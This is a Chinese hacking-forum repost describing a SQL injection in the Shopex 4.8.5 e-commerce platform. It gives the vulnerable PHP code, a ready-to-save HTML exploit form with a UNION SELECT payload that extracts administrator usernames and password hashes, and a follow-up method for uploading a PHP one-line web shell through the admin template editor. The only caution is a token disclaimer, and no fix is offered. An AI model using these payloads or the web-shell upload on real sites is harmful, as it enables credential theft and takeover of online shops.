Shopex 4.8.5 SQL Injection 注射注射注射~【转】

转 t00ls大牛

大牛们 你们还在犹豫神马?  赶紧发帖啊....  你们不发  那只好我来破这个处了
正好这两天电信抽风所以就抽空读了下

漏洞核心函数 \core\model_v5\trading\mdl.goods.php  由于是zend解密出来的 具体行数就不贴了

01                    function getproducts( $gid, $pid = 0 )  //注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入注入
02                    {
03                                    $sqlWhere = "";
04                                    if ( 0 < $pid )
05                                    {
06                                                    $sqlWhere = " AND A.product_id = ".$pid; //没过滤 ~~~~~~  fuck之
07                                    }
08                                    $sql = "SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=".intval( $gid ).$sqlWhere;
09                                    return $this->db->select( $sql );
10                    }
\core\shop\controller\ctl.product.php 文件调用
01        function gnotify($goods_id=0,$product_id=0){
02                    //print_r($_POST);
03                    //exit;
04            if($_POST['goods']['goods_id']){
05                $goods_id = $_POST['goods']['goods_id'];
06                $product_id = $_POST['goods']['product_id']; //POST没初始化也没过滤
07            }
08                $this->id =$goods_id;
09            $objGoods = &$this->system->loadModel('trading/goods');
10            
11            //echo $goods_id." - ".$product_id;
12            //exit;
13            $aProduct = $objGoods->getProducts($goods_id, $product_id); //直接带进去了 还解释么??
14    
15            $this->pagedata['goods'] = $aProduct[0];
16            if($this->member[member_id]){
17                $objMember = &$this->system->loadModel('member/member');
18                $aMemInfo = $objMember->getFieldById($this->member[member_id], array('email'));
19                $this->pagedata['member'] = $aMemInfo;
20            }
21    
22            $this->output();
23        }

EXP: 保存为html使用即可

    <script language="javascript">
    function expstart() {
    var url = document.forms[0].url.value;
    if(url != ""){
     if(url.search("http://") < 0 && url.search("https://") < 0){
    url = "http://" + url;
     }
    document.submit_url.action = url + "/?product-gnotify";
     }else{
        alert("Hello Hacker!!!");
     }
    }
</script>
<html>
<head>
<title>Shopex 4.8.5 SQL Injection Exp [T00ls]</title>
</head>
<body>
<h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2>
<form action="" method="post" name="submit_url">
<input type="hidden" name="goods[goods_id]" value="3">
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24,0x20203C7370616E207374796C653D22636F6C6F723A20236666303030303B223E5430306C732E4E657420476F21476F21476F213C2F7370616E3E),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
<span style="color: #ff0000;">Site: </span><input type="text" name="url" value="http://127.0.0.1/shopex/">
<input type="submit" value="Forum : T00ls.net  By Rices
    本程序只能用于网站安全检测
    禁止用于非法途径,产生的一切后果与作者无关!">
</form>
<span style="color: #ff0000;">Time: 2012.06.18  Code: Rices</span>
<body>
</html>

随便测试了几个4.8.5版本的  其他版本自己测试吧

图片我就不贴了 t00ls上看到了  自己测试了下 全部秒杀 不过貌似拿不到shell   - -  求拿shell的办法
又一次悲剧了

Shopex 4.8.5 SQL 后台拿shell

第一步  页面管理  修改模版  然后选一个XML编辑

开始用 live http 抓包 你们懂的 然后把第一个POST包给抓出来
DiS9 TeAm1 q6 m" ^9 I3 }* e( `
然后改包  包要这么改  我研究了半天 尼玛的菊花红

id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=<?php eval($_POST[c])?>

解释一下  id是你选择的模版文件夹名称  后面的info.xml 是你修改的XML文件 tmpid= 你们懂的 就是模版文件夹  然后 name 是你提交的文件名字  file_source  是后门或者shell

我这里是一句话 你们懂的 然后提交了之后  地址是这样的www.xxxx.com/themes/文件名称/你的木马名称

源链接

Hacking more

...